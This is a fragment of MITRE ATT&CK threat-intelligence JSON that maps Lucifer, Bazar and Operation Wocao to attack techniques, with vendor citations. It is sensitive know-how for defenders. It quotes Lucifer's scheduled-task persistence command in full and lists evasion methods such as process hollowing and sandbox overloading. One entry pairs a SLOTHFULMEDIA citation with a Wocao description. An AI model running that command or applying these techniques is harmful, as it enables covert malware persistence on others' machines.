"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", + "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020." + } + ], + "description": "[Lucifer](https://attack.mitre.org/software/S0532) has established persistence by creating the following scheduled task schtasks /create /sc minute /mo 1 /tn QQMusic ^ /tr C:Users\\%USERPROFILE%\\Downloads\\spread.exe /F.(Citation: Unit 42 Lucifer June 2020)", + "relationship_type": "uses", + "id": "relationship--5d972f64-4c81-43ce-ba08-2c791bd78287", + "type": "relationship", + "modified": "2020-11-20T18:19:44.010Z", + "created": "2020-11-16T20:48:01.885Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "external_references": [ + { + "source_name": "Unit 42 Lucifer June 2020", + "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", + "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020." + } + ], + "description": "[Lucifer](https://attack.mitre.org/software/S0532) can check for existing stratum cryptomining information in HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\spreadCpuXmr \u2013 %stratum info%.(Citation: Unit 42 Lucifer June 2020)", + "relationship_type": "uses", + "id": "relationship--f8c754dd-a4a8-4507-bce2-c738e5354a3c", + "type": "relationship", + "modified": "2020-11-16T21:16:42.732Z", + "created": "2020-11-16T21:16:42.732Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "Unit 42 Lucifer June 2020", + "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", + "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020." + } + ], + "description": "[Lucifer](https://attack.mitre.org/software/S0532) can decrypt its C2 address upon execution.(Citation: Unit 42 Lucifer June 2020)", + "relationship_type": "uses", + "id": "relationship--1c9d4988-d9ea-4dd5-aef1-adb0232e87a3", + "type": "relationship", + "modified": "2020-11-16T21:16:42.788Z", + "created": "2020-11-16T21:16:42.788Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", + "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "external_references": [ + { + "source_name": "CISA MAR SLOTHFULMEDIA October 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", + "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. 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Retrieved October 8, 2020." + } + ], + "description": "[Operation Wocao](https://attack.mitre.org/groups/G0116) has edited variable names within the Impacket suite to avoid automated detection.(Citation: FoxIT Wocao December 2019)", + "relationship_type": "uses", + "id": "relationship--0b019a7d-99ac-4045-9556-27d5a3194635", + "type": "relationship", + "modified": "2020-11-18T17:17:06.596Z", + "created": "2020-11-18T17:17:06.596Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--28f04ed3-8e91-4805-b1f6-869020517871", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "external_references": [ + { + "source_name": "FoxIT Wocao December 2019", + "url": "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf", + "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020." + } + ], + "description": "[Operation Wocao](https://attack.mitre.org/groups/G0116) has used the CreateProcessA and ShellExecute API function to launch commands after being injected into a selected process.(Citation: FoxIT Wocao December 2019)", + "relationship_type": "uses", + "id": "relationship--cfab0322-40fe-4dc5-8e71-a479aa0c7aa3", + "type": "relationship", + "modified": "2020-11-18T17:17:06.600Z", + "created": "2020-11-18T17:17:06.600Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--28f04ed3-8e91-4805-b1f6-869020517871", + "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", + "external_references": [ + { + "source_name": "FoxIT Wocao December 2019", + "url": "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf", + "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020." + } + ], + "description": "[Operation Wocao](https://attack.mitre.org/groups/G0116) has created services on remote systems for execution purposes.(Citation: FoxIT Wocao December 2019)", + "relationship_type": "uses", + "id": "relationship--e48e352c-5950-4177-bb57-25c27bbb50f6", + "type": "relationship", + "modified": "2020-11-18T17:17:06.603Z", + "created": "2020-11-18T17:17:06.603Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) has been signed with fake certificates including those appearing to be from VB CORPORATE PTY. LTD.(Citation: Cybereason Bazar July 2020)", + "relationship_type": "uses", + "id": "relationship--b8dc82ba-2bd6-4299-bf36-9d5968810663", + "type": "relationship", + "modified": "2020-11-19T18:59:35.344Z", + "created": "2020-11-18T19:44:20.322Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + }, + { + "source_name": "Zscaler Bazar September 2020", + "url": "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", + "description": "Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can gain execution via malicious links to decoy landing pages hosted on Google Docs.(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)", + "relationship_type": "uses", + "id": "relationship--17e7193e-6583-4bae-8a17-de75f006cd36", + "type": "relationship", + "modified": "2020-11-19T18:31:08.761Z", + "created": "2020-11-18T19:44:20.390Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + }, + { + "source_name": "Zscaler Bazar September 2020", + "url": "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", + "description": "Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) has been spread via e-mails with embedded malicious links.(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)", + "relationship_type": "uses", + "id": "relationship--c36deed2-7da5-4c41-b6f0-eebc94bb17e9", + "type": "relationship", + "modified": "2020-11-19T18:31:08.789Z", + "created": "2020-11-18T19:44:20.472Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + }, + { + "source_name": "Zscaler Bazar September 2020", + "url": "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", + "description": "Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020." + }, + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can download and deploy additional payloads including ransomware and post-exploitation frameworks such as [Cobalt Strike](https://attack.mitre.org/software/S0154).(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)(Citation: NCC Group Team9 June 2020)", + "relationship_type": "uses", + "id": "relationship--c646d6ed-e0f6-48b0-a4a3-d52b0a21f250", + "type": "relationship", + "modified": "2020-12-01T14:15:37.229Z", + "created": "2020-11-18T19:44:20.486Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + }, + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) has used XOR, RSA2, and RC4 encrypted files.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)", + "relationship_type": "uses", + "id": "relationship--2e0eb5e4-37a3-435d-bdac-01f72b8cec4c", + "type": "relationship", + "modified": "2021-03-26T21:11:31.347Z", + "created": "2020-11-18T19:53:05.573Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + }, + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can decrypt downloaded payloads. [Bazar](https://attack.mitre.org/software/S0534) also resolves strings and API calls at runtime.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)", + "relationship_type": "uses", + "id": "relationship--d9e7b8b3-6275-4c26-b9d2-4adfa1143c1b", + "type": "relationship", + "modified": "2020-12-01T14:03:12.922Z", + "created": "2020-11-18T19:55:02.802Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + }, + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can inject into a target process using process doppelg\u00e4nging.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)", + "relationship_type": "uses", + "id": "relationship--506751ad-9b0d-4dc5-a6a5-b25521e66a1a", + "type": "relationship", + "modified": "2020-12-01T14:44:51.438Z", + "created": "2020-11-18T20:20:31.775Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + }, + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can inject into a target process including Svchost, Explorer, and cmd using process hollowing.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)", + "relationship_type": "uses", + "id": "relationship--ea187577-25ce-458f-a26b-9ee71d3879fd", + "type": "relationship", + "modified": "2020-12-01T14:15:37.341Z", + "created": "2020-11-18T20:20:31.840Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + }, + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can create or add files to Registry Run Keys to establish persistence.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)", + "relationship_type": "uses", + "id": "relationship--f373c8d3-3182-4977-b333-87493458d340", + "type": "relationship", + "modified": "2020-12-01T13:53:46.044Z", + "created": "2020-11-18T20:26:08.282Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + }, + { + "source_name": "Zscaler Bazar September 2020", + "url": "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", + "description": "Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) has a variant with a packed payload.(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)", + "relationship_type": "uses", + "id": "relationship--f8f63dca-91a1-4bbf-811c-4ed083b36246", + "type": "relationship", + "modified": "2020-11-19T18:31:09.022Z", + "created": "2020-11-18T20:26:08.344Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can use various APIs to allocate memory and facilitate code execution/injection.(Citation: Cybereason Bazar July 2020)", + "relationship_type": "uses", + "id": "relationship--ea40d7a0-bb12-4ed1-a5bd-efdc6bdad4b2", + "type": "relationship", + "modified": "2020-11-25T15:35:06.340Z", + "created": "2020-11-18T20:56:31.186Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can identity the current process on a compromised host.(Citation: Cybereason Bazar July 2020)", + "relationship_type": "uses", + "id": "relationship--6e6f67c0-ba84-48f2-a322-2a7cb7a5cd02", + "type": "relationship", + "modified": "2020-11-18T21:00:36.316Z", + "created": "2020-11-18T21:00:36.316Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + }, + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can fingerprint architecture, computer name, and OS version on the compromised host. [Bazar](https://attack.mitre.org/software/S0534) can also check if the Russian language is installed on the infected machine and terminate if it is found.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)", + "relationship_type": "uses", + "id": "relationship--f6f600fd-796d-4f1f-b2c6-0ca283b2cdb1", + "type": "relationship", + "modified": "2021-03-26T21:11:31.486Z", + "created": "2020-11-18T21:17:26.320Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + }, + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can collect the time on the compromised host.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)", + "relationship_type": "uses", + "id": "relationship--6d9f427b-f016-4100-a30a-c13648536e81", + "type": "relationship", + "modified": "2020-12-01T14:03:13.288Z", + "created": "2020-11-18T21:22:25.081Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can create a task named to appear benign.(Citation: Cybereason Bazar July 2020)", + "relationship_type": "uses", + "id": "relationship--9c2766b3-87ff-4ec7-9ff4-faa3d4572eb4", + "type": "relationship", + "modified": "2020-11-30T15:35:49.981Z", + "created": "2020-11-18T21:25:59.730Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + }, + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can create a scheduled task for persistence.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)", + "relationship_type": "uses", + "id": "relationship--cff83f53-0e10-4e98-9e2e-2a4b7d027d70", + "type": "relationship", + "modified": "2020-12-01T14:09:06.741Z", + "created": "2020-11-18T21:34:08.688Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can attempt to overload sandbox analysis by sending 1550 calls to printf.(Citation: Cybereason Bazar July 2020)", + "relationship_type": "uses", + "id": "relationship--4d63c2b7-03e6-4747-81f2-9197faccd5fc", + "type": "relationship", + "modified": "2020-11-20T19:08:15.800Z", + "created": "2020-11-19T16:37:47.257Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can implement DGA using the current date as a seed variable.(Citation: Cybereason Bazar July 2020)", + "relationship_type": "uses", + "id": "relationship--fbc1faff-226a-4ea3-a08a-81b64066496d", + "type": "relationship", + "modified": "2020-11-25T15:36:18.416Z", + "created": "2020-11-19T16:44:55.417Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can retrieve information from the infected machine.(Citation: Cybereason Bazar July 2020)", + "relationship_type": "uses", + "id": "relationship--602a4664-e89c-4c11-982d-699589853ab3", + "type": "relationship", + "modified": "2020-11-19T16:56:30.146Z", + "created": "2020-11-19T16:56:30.146Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": 